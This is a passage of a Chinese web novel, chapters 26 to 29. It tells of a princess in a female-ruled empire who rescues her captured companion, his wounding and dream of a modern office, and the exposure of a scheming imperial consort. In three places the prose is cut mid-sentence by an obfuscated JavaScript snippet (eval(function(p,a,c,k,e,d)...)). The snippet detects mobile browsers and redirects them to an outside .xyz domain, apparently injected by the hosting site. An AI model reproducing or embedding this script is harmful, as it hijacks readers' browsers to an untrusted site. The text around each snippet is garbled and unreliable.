“自从受伤,你恨不得凡事替我代劳,让身为下属的我,心肝受不了啊。” 祁逾白叹气:“知道了,下次不会了。” 所以,不要再躲我了。 我会受不了的。 26. 第 26 章 来的时候是冬天,回去的日子却是在开春,路上的积雪微不可见,树上冒出一点点新的嫩叶。 如此生机勃勃的一切,却是藏匿着巨大的危险,言昭离这一路,并不太平,遭遇的刺杀比去的时候还要多上几倍。 她们并不执着于杀,而是抢夺言昭离手上的东西。 在得到那份名单的时候,言昭离就转交给了广安王,广安王当即对上面的官员展开逮捕,问出她们背后的人——章太守。 可章太守拒不承认,只说是被污蔑的,她与江段并无任何交集。 没有关键的证据,确实抓不了章太守,但广安王一向肆意,直接派人把章太守抓了。 抓到后却犯了难,言国律法,未有明确的证据,是不能对朝廷命官用刑的。 抓了章太守,已经是在律法的边缘上试探了。陷入僵局的时候,言昭离提到了一个人,章松卉,章太守就是再有玲珑之心,再聪慧,在这个唯一的女儿面前,也不可能一直伪装下去。 言昭离猜的没错,比起章太守这个老油条,章松卉被抓后,就吓得心惊胆战,她自小娇生惯养,从来没有见过这么大的场面,几乎把她知道的全交代了。 她说有一次见到过章太守和江段会面,两人交谈时,她就站在屏风后面,听到她们似乎说到什么贵人,但她离得太远,听不清人名。 有了章松卉大义灭亲的证词,章太守基本就已经定罪了,于是广安王开始对他严刑拷打。 势必要问出她口中的贵人。 章太守没抗住,一股脑全交代了,签字画押,由于她背后的人身份实在尊贵,这份证词,以及名单只能由言昭离亲自带回去,上交给言武帝。 自从被抓,背后的贵人就已经有了极不好的预感,一开始,她下的命令是杀了章太守,可看管章太守的人太多,她们的人硬是找不到下手的地方。 如今章太守已经认罪,言昭离手上的证词,是能扳倒她们的存在,她们必须得不顾一切的毁了那份证词。 言昭离再一次处理了刺杀的人,就听到手下的侍从急急来报:“大皇女,祁小郎不见了。” “怎么回事?” 行程劳累,他们在一处客栈落脚,言昭离带一部分人出去购买物资,祁逾白则留在客栈里。 “客栈里的人突然遭到十多个黑衣蒙面人的截杀,直到祁小郎被捉走才撤退,只留下了一份书信。” 言昭离拆开书信,上面眉飞凤舞的几个大字:想要他活命,明日卯时,带着证词,灌木林中见。 很显然,对方是有备而来。 灌木林,是附近的一片树林,地势复杂,很适合藏匿身形。 她眉心横跳,把书信揉搓成团,一字一字说道:“提前准备好。” “大皇女,此证词至关重要,万不可……”为了一个祁小郎交出去。 “是啊,大皇女,一定还有别的办法。” “我心里有数。” 见大皇女如此坚持,底下的人一个个唉声叹气,怎可如此昏庸。 躲在暗处的人见此情景,满意的离开,她穿过层层树林,最后来到一座山前,按动上面的凸起,山侧面的暗门缓缓打开。 暗门的通道很是狭窄,仅容许一人通过,里面潮湿又阴暗,只有微弱的火烛照耀着路,她循着烛光一路走去,眼前的视野逐渐变得开阔起来。 洞穴很大,还有一处泉眼,水很清澈,山洞里面阴湿,但一处有阳光照射,生长着不知名的野花,穴里面大概有四五十个人,最上面的人,坐在高位上。 祁逾白放置在另一处的榻上,上面铺着虎皮,他被人灌了迷药,至今还昏迷不醒。 “老大,大皇女很是看重这个男人的性命,尽管手下人一直劝阻,但她不听,坚持拿证词换人。” 被换做老大的女人身形比旁人要更瘦些,蒙住的脸看不清神色,但声音醇厚:“那就好,一定要好好看住那男人,不要让他跑了,也不要让他伤了。” “是。” * 卯时不到,言昭离就已在指定的地点等待。 卯时一到,黑衣人自动出现,她笑意吟吟的打招呼:“大皇女,久等了。” 黑衣人身后站着五六人,暗地里埋伏的还有三四十人,等黑衣人一拿到证词,她们就掩护她离开。 “他可好?” 言昭离仔细的观察祁逾白,他双眼被蒙住,手也绑了起来,除了衣服有些灰外,没有任何的外伤。 她放下心来,继续与黑衣人周旋。 “大皇女待祁小郎还真是情意绵绵啊,放心,祁小郎在我这里,完好无损。” “毕竟,我想要的东西在您的手上。” “时候也不早了,大皇女,还是赶紧把东西交给我吧。”她钳制住祁逾白的肩膀,把他往前推了一段距离,刀尖抵住祁逾白的后背:“早些把东西给我,我好早些把人放了。” 黑衣人下的迷药把控的刚刚好,祁逾白在天还未亮的时候醒来的。 言昭离举起手上的证词,章太守是在广安王的严刑拷打下招供的,这份证词在广安王看过后,也被封了起来,她没看过:“我怎么确保把证词交给你后,你就会放人呢?” “别废话,人在我手里。”她的意思是言昭离想要的人在她手里,是弱势方,根本没有商谈的机会。 见言昭离仍在犹豫,她咬紧牙关:“你还想要他活吗?”刀尖又前进了几分,隐隐压住祁逾白背后,“想要他活,就别那么多废话。” “不想要了。”言昭离突然拒绝,“本皇女最讨厌被人威胁,突然不想继续交易了。” “照我说的做,先……什么?”黑衣人说话猛的一扬,“你不想要他活了?!” “怎么可能,你不是一向最宠爱这男人吗?” 言昭离耸了耸肩:“突然想通了,要是把这证词带回去,还能立个大功,说不定能封王,一个男人而已,等本皇女封王后,养他上百个。” 黑衣人心里发急,但没想到祁逾白比她还急,他似乎很担心自己的小命真的不保:“妻主,可是奴做错了什么?不要把奴抛在这,奴害怕。”尾音轻颤,哪怕看不见那双入水的眸子,光凭声音,也能让人为之沉醉,想要把一切都奉献给他。 黑衣人为他打抱不平,像是看一个负心汉一样的看向言昭离:“是啊,他跟了你这么久,怎么能说抛弃就抛弃呢?” 言昭离语气淡薄:“男人如衣物,想弃就弃了,哪有那么多为什么。” “这这这……”黑衣人气结,说不出一句话来,这可怎么办,传言有误,大皇女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567758|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不重视这小郎,那她们怎么能拿回证词。 “妻主!”祁逾白说的很是凄厉,“既然你不仁,就休怪奴不义,奴可是知道你的一件事。” 言昭离肉眼可见的慌张:“你休的胡言。” “妻主把奴换回来,奴就不往外说。” 黑衣人的眼睛里的小火苗蹭的点亮,颇有些赞赏的看向祁逾白,没想到这小郎有几把刷子,这都能拿捏住大皇女,那她这任务,完成指日可待啊。 在黑衣人美滋滋的沉浸在自己即将得到的奖赏时,言昭离的一句话又扑灭她的希翼。 “那你等会死去,本皇女便不用担心你说出去了。” 黑衣人大喊:“在他死之前,我会让他说出那件事,然后找人大肆宣扬。” 祁逾白抿唇,同样威胁道:“对,我会说出来的。” “一旦说出来,妻主便会遭世人唾弃,入十八层地狱。” 他说的严重,黑衣人更好奇他口中的那件事,不过,现在最重要的事是取得证词。 言昭离思考良久,叹了口气:“那我还是跟你换,不过,我说过,我最讨厌威胁,既然要交易,也得按照我的规矩来。” “无名交给你证词,同时你也需要把他放了。”无名从言昭离的身后走了出来,他瘸了一条腿,行动颇为不便,且身形清瘦的异常,应该不是习武之人。 经过刚才的波折,黑衣人不想再生出事波,连忙答应,同时心里头也松了口气,这男子毫无威胁之意。 无名拿过言昭离手上的证词,一步步走向黑衣人,黑衣人钳制着祁逾白向前走,三人在只有六七步近的距离停下。 “停,举起证词转个圈,让我看个清楚。” 证词在无名的手上转了一圈,借着日光,黑衣人清楚的看到封皮上面的掌印,是广安王独有的,且封皮极为薄,能依稀的看到里面的大字——认罪书以及指控书,整份证词并未有人拆开的痕迹,这是真的。 “好,继续。” 双方开始交换,黑衣人将钳制住祁逾白的手收回,转向拿无名手中的证词,另一只手未有任何变化。 在黑衣人即将碰到证词时,无名突然收回,黑衣人扑了个空,眼中满是错愕,趁黑衣人分神的功夫,祁逾白猛的往身后一踹,自从黑衣人放了她钳制住祁逾白的手,两个人的距离就在不断缩大。 黑衣人疼的下意识捂住腹部,一时间松了对祁逾白的威胁。 祁逾白和无名同时往一个方向跑,无名跑的慢,毕竟他腿脚不利,谁知祁逾白跑的比他还慢些,祁逾白手上绑着绳子,且身体因为下多了迷药,有些无力,刚才踹黑衣人那一下,已经耗费了他许多的力气。 眼看两人马上就要被追上,言昭离大喊一声:“趴下。” 两人立马照做,一只箭矢划破半空,径自射向黑衣人,黑衣人刚才被戏耍了一番,警惕性猛的提高,反应迅速的避开。 接着,她掷出手上的匕首,朝着前面的那个身影射去,祁逾白跑的速度不快,且距离也不远,是完全能射中的。 祁逾白没有感觉到太多的疼痛,甚至是倒下的时候,他才知道自己被刺中了。 “祁逾白!” 耳边传来言昭离的声音,与最开始做戏的慌张不同,似乎多了一份绝望。 27. 第 27 章 箭落下的同时,黑衣人的人也跳了出来,但紧接着,又有更多人从草丛里冒了出来,是言昭离的人。 双方厮打在一起,黑衣人迅速的对场上的局势做了个判断,人数上,就出处于劣势,再打下去,恐怕她带的人都要折损在这里。 她咬牙:“撤。” 可言昭离哪会让她们如意,这场局,是故意安排的,她本身早就有所准备,更遑论祁逾白还受了伤,几乎同一时间,她下了命令:“杀光,但留那一人的性命。”那一人,指的是黑衣人。 黑衣人是这群人中最有话语权的,身份地位自然不低,留着她,说不定能为背后人的罪责增加一份。 她小心翼翼的抱起祁逾白,没再多待,如果连这都处理不好的话,那她这手下的一群人也算白养了。 祁逾白伤的是后背,一个血色的窟窿不断往外流着血。 回了客栈,她立马叫来了医官,医官诊断过后,道:“禀大皇女,伤口在后背处,很容易对后背脊梁造成伤害,极有可能导致瘫痪。” 言昭离的一口气提了上来,就听医官的话语一转:“索性祁小郎运气好,且伤口并不太深,只需要适当的疗养便可恢复。” 言昭离松了一口气,给医官提了个建议:“下次再说的时候,先说后半段。” “祁小郎何时能醒过来?” “最多不超过一个时辰。” 医官走后,言昭离待在房内,守着祁逾白醒来,她从未觉得一个时辰,有这么漫长,她突然想起翠鸣之前讲的,‘祁逾白在窗边看风景的时间长了些’,到底是看风景,还是心里担忧着人。 “你那时候,也是这样担忧的吗?” “你受伤的时候,我的心里一阵后怕,怕你就这样消失在这这个世界,那我在这个世界,就真的孤身一人了。” 除了后怕,内心似乎还多了一份说不清道不明的情绪。 言昭离坐在床边,托腮看着他:“祁逾白,早知道你会受伤,我应该坚决不同意的。” 这场局,是祁逾白提出的,他想要以绝后患,换的这场后半行程的安宁。言昭离一开始不同意,是祁逾白劝说的。 一炷香燃尽,可祁逾白没有丝毫醒过来的迹象,反而面色更加苍白,全身冒着冷汗,言昭离内心焦灼,又把医官召了过来。 “他为何还没醒来。” 医官皱着眉头,仔细勘察了一番:“祁小郎似是梦魇住了。” “梦魇?” “对,容臣给祁小郎开幅安神药,再扎上几根,一夜过后,应当无事。” “照做吧。” “是。” 一通治疗下去,祁逾白果然好上了许多,不再冒冷汗,但面色还是苍白。 昏迷中的祁逾白,只觉得自己坠入了一片深海之中,四周都是水,他呼吸不上来,意识逐渐消沉,脑海里突然有一个念头,他要活下来,还有人在等着他。 他鼓足劲,向上游去,眼前天光大亮,消毒水的气味在鼻息间蔓延。 睁开眼,白色的天花板,桌上放着一束百合花,旁边的呼吸机还在‘嘀嗒’‘嘀嗒’响着,他摘了氧气面罩,呼吸机发出急促的‘嘀’的声音,很是刺耳。 “祁总醒了,快去叫医生。” “祁总,现在感觉怎么样?” 祁逾白挣扎着要起身,许久未说话,嗓子有些沙哑:“我这是怎么了?” “劳累过度,在办公室昏倒,被送来医院,已经昏迷了五天了。”祁逾白身边的张总助言简意赅的概括。 祁逾白脑中的记忆混杂,不时的闪过几个词,穿书,女尊,与之而来的还有几个画面,这些画面似乎都是跟一个女人相关,他迅速的捕捉到其中的名字。 “言昭离。” “祁总,您说什么?” “言秘书呢?她醒来没有。”他记得那个女人的身份好像是他的秘书。 谁知张总助疑惑:“言秘书?祁总,公司里没有这个人。” “没有,没有吗?”一向冷静自持的祁逾白面上闪过几丝茫然,没有这个人吗?是他记忆错乱了吗? 祁逾白醒来后,休息了一天,就出院工作了,他昏迷的几天,公司发生了不少的事情,现在的时间线,正好是他才接手公司没多久,那群老古板并不服他,想趁着他不在,多掌控公司。 回到公司的祁逾白,以雷霆手段镇压了那些蠢蠢欲动的人,处理完这些闹剧后,随之而来的,是接踵而至的情绪。 不知道怎的,他的内心总是空落落的,似乎遗忘了什么人和事。 “张总助,公司最近招人了吗?” “正值毕业季,公司招了不少人。”张总助觉得奇怪,祁总可从来不会过问这些。 “都是哪几个部门招人了,我去看看。” “策划部、企宣部……” 祁逾白根据张总助说的,一个个去看了,可又失望而归,他也不知道在期待着什么,总感觉会遇到一个人。 一个奇奇怪怪,脑海里的想法时不时跳脱,表面怂怂的内心吐槽,性格直率,善良的人。 转了一圈,没找到想找的人,祁逾白问:“还有新招的人吗?” “没有招的人了,但今天有三个来复试的。”张总助想起几天前祁逾白问的人,试探出声,“其中一个人姓言。” 他话音刚落,就见祁逾白跨步向前,走向面试的地方。 可,张总助剩下的话咽在喉咙里:“名不是,且还是个男的。”大概不是祁总要找的人。 祁逾白来的突然,在场的所有人都变得紧张起来,一个小小的复试,值得公司的CEO亲自面临吗?! “祁总来是?”总面试官悄悄问张总助。 “不用紧张,照常进行,祁总只是来看看你们面试的怎么样。” “是。”他们的面试继续。 “请下一位面试者进来。” 直到面试结束,也没找到自己想找的人,祁逾白不由得丧气,张总助见状,道:“祁总,我查了名叫言昭离的人,A市没有,甚至全国都没有。”这是为了补充他刚才没说明白的错误。 这就是个很奇怪的点,A市没有叫这个名字的也就罢了,可全国也没有,要知道,全国有十四亿人,就算胡诌一个名字,也可能搜到的。 这种情况,就像这个世界抹除了这个人的存在一样。 祁逾白陷入了沉思,明明那些画面鲜活生动,好像就是真实发生的一样,可现实是,没有这个人,他捂住胸口,内心的想法逐渐变得坚定起来。 不,就算记忆会出错,可情感也会告诉他答案,他的这颗心,真真切切的为一个人跳动过。 他要回到有她的世界去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567759|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>脑海里的想法逐渐清晰,整座大楼在坍塌,天边的太阳在坠落,一切都在分崩离析,巨大的声响在耳边响起,可祁逾白只能听见一个熟悉的声音。 “祁逾白。” “祁逾白,你醒醒。” 这道声音,指引着他逐渐忘光明处走去。 言昭离拿着湿的面巾轻轻擦拭祁逾白额头上冒出的汗,见他眉头骤然皱起,不知道他到底梦到了什么,只能唤他。 “言昭离!”他睁开眼。 熟悉的人就坐在床边,祁逾白起身,环保住言昭离。 他抱的极紧,言昭离猛的被抱住,有些无措,拿着面巾的手还悬在半空。 屋里的蜡烛还在燃着,冒出一丝一缕的烟,微弱的烛火将两人的身影映照在窗纸上,外面似是刮起了大风,‘啪’的一下把支撑着的窗棂刮倒,屋外的月色怡人,可却无一人欣赏。 “我找不到你。”祁逾白低落的声音在耳边响起,他似乎还沉浸在刚才的梦中。 言昭离怕碰到他的伤口,轻轻回抱住,安慰他:“我就在这。” “你现在找到我了。” “我不会离开的。” 祁逾白微不可见的‘嗯’了一声,不知道是不是错觉,言昭离总感觉这声‘嗯’里,透着一股委屈。 抱了良久,言昭离只感觉手中刚才还温热的面巾,都已经冷了,祁逾白还未撒手。 这个怀抱,最后以言昭离发现祁逾白身上的伤口渗出鲜血结束。 扯开祁逾白的衣服,她一边上药,一边骂道:“还受着伤,动作那么大干什么。” “伤口还想不想好了。” 祁逾白一言不发,由着她上药。 等一切都做好了,言昭离才反应过来,总感觉有那里不对劲,身份好像又对调了,她也是厉害了,竟然能骂上老板。 祁逾白更不对劲,到底做了什么梦,后遗症那么大? 闺蜜曾经跟言昭离分析过祁逾白,讲他外表冷酷无情,但一旦喜欢上一个人,绝对会有不一样的一面,就比如,反差萌。 当时的言昭离半信半疑,半信是因为闺蜜看男人的眼神一向很准,半疑的是,老板这么一个冷酷无情的人,能喜欢上旁人。 这种不信,就像身边一个寡王朋友,有一天突然告诉你他结婚了。 不过,言昭离摩挲着下巴,祁逾白这么呆的一面,确实很不一样。 这要是不好好蹂砺一番,岂不可惜了。 趁着祁逾白脑子不清醒,言昭离试探问道:“祁逾白?” “嗯?” “回去后,你能给我升职加薪吗?” “能。” “那你答应我,以后不许受伤。” “好。” “那以后都听我的话,我让你往东,你不许往西,我让你往西,你不能往东。” “好。” “那我再娶几个男人。” 祁逾白沉默,旋即恶狠狠说道:“一个都不许。” “我又不是你的,你也管不着我。”这么呆萌的祁逾白可不多见,言昭离有心逗他。 “不、许,要是敢这么做,我就扣你奖金,罚你工资。” 很好,精准的掐到言昭离的命脉,她认输:“好好好,我不娶别人,只娶你。” “嗯。”祁逾白满意的点头。 28. 第 28 章 那日的交易后,除了黑衣人一人活着外,其余全部死亡。 黑衣人被活捉后,即使被严刑拷打,依旧宁死不屈,不肯供出她背后的主子。 言昭离知道后,只是笑道:“以为这样我就没办法了吗?” “去,画了她的画像,一家一户的问,提供线索的赏黄金,这样,总会有人认得的。” “再根据所有线索,顺通摸瓜摸出她背后的人。” 祁逾白在客栈养了几日的伤后,就动身了,毕竟他们手里掌握的东西太重要了,背后的人估摸才得到她们的人失手的消息,还没来得及商量新的对策。 趁着这个间隙,言昭离一行人的行程在加快,原本还剩半个月的行程,硬是十几天就走完了。 回到大皇女府,言昭离沐浴更衣,又匆匆赶往皇宫。 皇帝一早就坐在龙椅等她,言昭离到后,先行了个礼。 “儿臣给母皇请安。” 言武帝亲自下了龙椅扶她:“平身,此次你剿匪有功,朕要好好嘉赏你。” 言昭离谦虚:“儿臣不敢当,是母皇教导有方。” “母皇,此次剿匪,儿臣还有一事要禀明,匪寇江段,与当地多名官员有勾结,这些官员皆已伏诛,另外,儿臣发现江段的身后,还有一位贵人相助。”言昭离从袖口中掏出证词和一封书信,“这是勾结官员章太守的认罪书以及指控书,另外还有一份,是此次儿臣查到此次路上行刺之人的身份,请母皇过目。” 言武帝早已知道江南官员与江段有所勾结的事,可她不知,这背后竟还有一个贵人。 广安王知晓此事之后,防止有人走漏了风声,书信里并未提及到此事,且交给言昭离的证词,都封了起来,明显背后的贵人涉及到言武帝,涉及到皇家颜面,越少人知道越好。 言昭离知道这个道理,连下属交上来的证据她都没打开过,一切交由言武帝做主,如果言武帝不想让她知道,那她就装作不知道。 言武帝拆开外面封闭的封页,看了良久,随即闭上了双眼,脸上满是失望。 只留了几秒消化情绪,再一睁眼,她又变成了那个威严的皇帝。 她没提刚才看到的内容,只是问言昭离:“昭昭可有什么想要的奖赏?” 明白了,这是打算瞒下来了,言昭离道:“但凭母皇做主。” “朕封你为庆武王如何?” 冠以皇帝年号中的一字,代表了皇帝至高无上的恩赐,也代表了言武帝对于言昭离的看重。 言昭离满脸惶恐:“不可,母皇,儿臣担当不起。” “朕说你担当的起就担当的起。” 推脱不下,言昭离只好认下,又跟言武帝讲了几句就退下了。 言武帝心中有事,她自然不会杵在那碍眼。 言昭离一走,言武帝就摆驾了启祥宫,这是皇贵俞所住的寝殿。 皇贵俞脱簪待发,跪于寝宫内,等候言武帝的到来。 “陛下到——” “臣夫叩见陛下,请陛下安。” 内心的怒火竭力压制,言武帝面上却一片平静,她将所有的东西往她面前一扔:“你可还有什么好说的。” 皇贵俞拿起章太守的证词,这他没怎么看,早就知道写了什么,他看的最多的是言昭离交上来的证据,上面清清楚楚写明那黑衣人的身份。 黑衣人差事办的也利索,得了上头的不少奖赏,在京城里购置了房产,平常无事的时候便在那住着,虽然平常不常露面,但她的脸,也被街坊邻居看到过。 除此之外,街坊邻居也看到过有人半夜三更进入,没看到脸,但身上的特征倒是被记住了,顺着这个,来的人身份被人扒了出来,是皇贵俞身边的侍从。 除此之外,言昭离的人又顺藤摸瓜摸出黑衣人与她的侍从有着亲戚关系,尽管八竿子打不着。 前一个他可以说是污蔑,但后一个,毫无反驳的地方,言昭离查得很仔细,至少罗列了十多条证据证明黑衣人与她侍从是有着千丝万缕的关系的。 不得不承认,大皇女,是有几分手段的,他深吸一口气,冷静开口:“臣夫认,包庇江段的是我,刺杀大皇女的也是我。” “还请陛下责罚。”他伏着身子,重重的磕了一个头,平常养的精贵的肌肤,瞬间泛红,甚至还冒出丝丝的血丝,配上他这张脸,更显怜惜。 “朕只问你,为何要这么做?!” “臣夫重利,江段可以为臣夫带来巨大的利益。” “只是如此?” “只是如此。” “你怎会变成这样。” “朕记得你刚入宫时,不谙世事,率性天真,可现在,”言武帝痛心,“你变得连朕都认不出了。” “陛下,人总是要变的。” 言武帝气急:“好啊,好一句人总是要变的,好的很。” 她转身,不愿多看一眼:“传朕口谕,皇贵俞德行亏损,不配执掌后宫,从今天起,后宫交由贤俞和淑俞打理。” “皇贵俞,幽禁启祥宫,任何人不得探望。” 在皇贵俞的视角,只能看到言武帝渐渐消失的衣角,他再次伏身:“臣夫恭送陛下。” 言武帝出了启祥宫,漫无目的行走在皇宫中,不知不觉的就走进了御花园,正值开春,里面的花开得正盛,花团锦簇,甚是好看,最为好看的,是中间的海棠花。 言武帝思绪渐渐回到从前,皇贵俞刚进宫时她就颇为喜欢,特地恩赐御花园种上他喜欢的花,海棠花。 现在再看只觉烦心,春秋在她身边三十多年了,不说十分了解言武帝,也是有八分了解。 她猜到言武帝为什么心烦,主动上前:“陛下,要不上别地转转,这御花园中的杜鹃花也甚是好看。” 言武帝揉着太阳穴:“不用了,再在这待会吧。”毕竟如此盛开的海棠花,恐怕以后再也看不到了。 江段称霸一方土地,无数的百姓丧命于她手中,作为包庇江段的皇贵俞,手上造的孽也不少,她就算再对皇贵俞宠爱,可也不能越过黎明百姓上去。 压下这件事,除了她的一份私心,但更多的,是为了维护皇家颜面,百姓一旦知道,是否还会信任这个皇帝,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582273|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 否还会信任这个国家,这些都是她要考虑的因素。 同时,也对言昭离多了几分亏欠,她包庇了想杀她的人:“春秋,你说,朕再赏赐大皇女什么东西好些?” “奴想不到。”在她看来,封王已是最大的奖赏了。 “但奴倒是想起一件事,二皇女、四皇女皆已有婚约,不日就要成家,甚至连六皇女,都已定亲,大皇女的婚事似乎还未着落。” 言武帝恍然大悟:“是了,昭昭的婚事还未定下来,她这几个皇妹,皆快成家立业,作为皇姐,可不能慢一步。” “将所有适龄公子的画像传至宫中,朕要好好的挑上一挑,为昭昭选出几个家世显赫,品行端正的侍郎。” 这边,皇贵俞被幽禁的消息传了出去,举目震惊,毕竟皇贵俞盛宠十几年,骤然失宠,肯定发生了什么大事。 敏觉的人察觉出来跟言昭离脱不了关系,毕竟言昭离前脚刚出皇宫,后脚就传来皇贵俞幽禁的消息,而言昭离最近跟剿匪的事挂钩,脑子转的快的,已经猜到了什么。 可他们不会再多说什么,毕竟事关皇家颜面。 * 言昭离回了大皇女府,总算能歇上一会,她懒洋洋的趴在床上,旁边是躺着养伤的祁逾白。 尽管祁逾白身上的伤已经好得差不多,但仍被言昭离勒令躺在床上养伤。 而言昭离的手伤,就更好得差不多了,或许是女尊世界中的神奇之处,不仅女人的力气比男人大,而且女人受过伤后,伤口恢复的也快。 “言武帝打算封我为庆武王,”言落依说,“本来封王就行了,可又加这么个尊贵的称号,大概是为了补偿我,毕竟她把皇贵俞的事压了下去。” “意料之中。”皇贵俞能盛宠这么多年,自然在言武帝的心中占据一份之地。 但言武帝对皇贵俞的处理方式,还是能证明她没昏庸到那种地步,要是真的昏庸,只会把这事轻飘飘揭过去。 言昭离再次感叹:“言武帝的心就跟个榴莲一样,每个人都在她心上占据了一点点位置。”已逝的凤后是,皇贵俞也是。 “你的心呢?也像榴莲一样吗?”祁逾白问的随意,就像是在问你吃了没有一样的随意。 言昭离:“那倒没有,我的心还是很小的,小到只能容下一些人。” “一些人,是哪些人。” 言昭离掰着手指头:“我闺蜜,张总助……”她甚至连祁逾白的司机都加了上去。 祁逾白的司机是一位中年大叔,姓王,性格友善,平常与言昭离也是能聊的一起去,有时候还帮了言昭离一些事。 “你心上的人还真是多啊。”祁逾白说的平静,只是简单的感慨一句,不知怎的,言昭离硬是从他这句里听出了几分咬牙切齿的感觉。 她琉璃色的眼眸溢满笑意:“当然,还有一个人。” “祁逾白,你愿意做我的心上人吗?”明知她不是那个意思,祁逾白还是忍不住答应。 他轻‘哼’一声:“既然我是你的老板,那我要在你的心上占据最大的位置。” “好。” 29. 第 29 章 言昭离刚办完一件差事回来,皇帝念她劳苦功高,特批她半个月的假期。 今日的早朝,格外的热闹。 言武帝一上来,就宣布了两道诏令,一是大皇女灭了江段,功苦劳高,特封为庆武王,赏黄金千万两,皇帝亲口允诺的一件事,二是皇贵俞德行有失,取缔封号,终身囚禁启祥宫。 两份诏令下来,满朝文武皆嘘声。 接着,就有人出来谏言。 “禀陛下,大皇女虽功高,可这个封号,实在不妥。” “是啊,大皇女怎能冠以您的称号,不妥啊。” 言武帝抬手止住:“如何不妥,朕认为大皇女担当的起。” 底下的谏官还要说些什么,言武帝问:“怎么,你们认为这如何不妥。” “朕要是把这份差事交给你们,你们能做到如大皇女这般吗?” 谏官不再说话,她们确实做不到,大皇女用三千兵力剿灭匪寇,受伤的人甚至不到两百人,几乎可以说是大获全胜。甚至顺藤摸瓜,找到与江段有所勾结的官员,还江南一片清明。 言武帝又让春秋把一封奏折传下去,让官员一个个品鉴。 “这是今早大皇女交于朕的,是关于江段这件事背后暴露出的官场弊端,以及改正的建议。” 言昭离首先在这封奏折上分析了江段这个人,因为从小被称为神童,内心可以说是极骄傲自大,自负,转折点发生在她参加科举的时候,她落榜了,前半生一帆风顺,一遭受挫,心里开始变得扭曲起来,再加上背后有人引导,她走上了一条不归路。 言昭离回来后,调取了当年江段参加考试的答卷,上面的文字与她平常里书写的文字有着细微的差别,有人把答卷掉包了,才导致江段的落榜。 言昭离根据这点,分析了现在考试的弊端,并根据自己所想增添了很多细节,能更大程度的防止此类现象的出现,其中很多奇思妙想让官场的老油条都忍不住赞叹。 真是能人辈出。 言武帝又拿出一份奏折:“除此之外,还有一份废除武举考试的建议。” “武举考试已经存在上百年,是先帝时期就已实行的,不可废除啊。” “是啊,要是废除了武举考试,那如何选拔人才。” “大皇女此建议未免过于胆大,也实为不妥。” 有人劝阻,有人支持,她们看过言昭离刚才的奏折,莫名对她抱有一种期待:“大皇女刚才那奏折上写的想法,挺多新奇的,说不定这个也是如此。” “大皇女如此奇人,说不定会有更好的办法。” 言武帝先让底下的官员讨论一番,等吵的正激烈时,她才开口:“朕且问你们,如果有一个武功高超,骁勇善战的人,朝廷是否应该录用?” “这样一个人,如果不录用,那将是我言国的损失啊。” “臣认为,此人如此厉害,肯定要录用。” “那朕再问,如果此人家境贫寒,读不起书,不识得一个字,那如何录用?” 底下的人沉默,这样的人,可能连科举考试都报不上名。不参加考试,也可拿到正五品以上官员的举荐书进入朝廷,可如果家境贫寒,自然不可能结识什么官员。 “这就是大皇女最想告诉朕的,武举不废除,但武举考试废除,国子监可以专门开设另一个学堂,学子就为那些选上的武官,等他们学有所成,再入朝为官也不迟。”这样的情况下,也算给那些平民出身,但资质上乘的人一个机会。 她们弯下腰,齐声道:“陛下英明。”这下,再也没有人反驳言昭离不能胜任这个封号,甚至还觉得少了些赏赐。 “有事起奏,无事退朝。” “陛下,臣斗胆,想为皇贵俞求情,皇贵俞侍君已有十几载,究竟犯了什么错,才导致终身囚禁启祥宫。” “陛下,臣也认为皇贵俞罪不至此啊。” “陛下……” 言武帝不怒自威:“你们是打算插手朕的后宫吗?” “臣等不敢。” 在一众求情官员中,有一人很是打眼,即使是上了年纪,容貌也依然姣好,皇贵俞是肖似她的。 在一众求情人中,尚书令从文武百官中站了出来,跪于大殿之中。 “怎么,你也是要求情。” ”不,臣是跪下请罪的。” 她手持朝笏,头低着,说的情深意切:“皇贵俞德行亏损,是臣教子无方,还请陛下责罚。” 言武帝面色有所改善:“确实该罚。” “尚书令官降一职,罚俸一年,好了,退朝。” 浩浩汤汤的早朝结束,得了消息的众人,该巴结的巴结,该送礼的送礼,该划清界限的划清界限。 * “儿臣给母皇请安。”言笛梵恭恭敬敬跪下。 言武帝低头处理奏折,头也没抬:“你是来为你父君求情的?” “是。”言笛梵跪的板直,“儿臣求母皇饶了父君这一次。” 言武帝审视的目光从她面上扫过:“你可知现在求情,朕会迁怒于你。” “儿臣知道,可母皇,那是儿臣的父君,儿臣不能眼睁睁看着父君沦落到这样的下场。” “你父君做错了事,自然要受到惩罚,囚禁于启祥宫已是朕最大的恩惠,不必再求情,朕不会允。” “朕可允你和时儿每月去见上一面,回去,好好劝劝时儿。” 言笛梵出了书房,重重的呼出一口气,言时急忙围上来:“言笛梵,母皇怎么说,可是答应放了父君。” 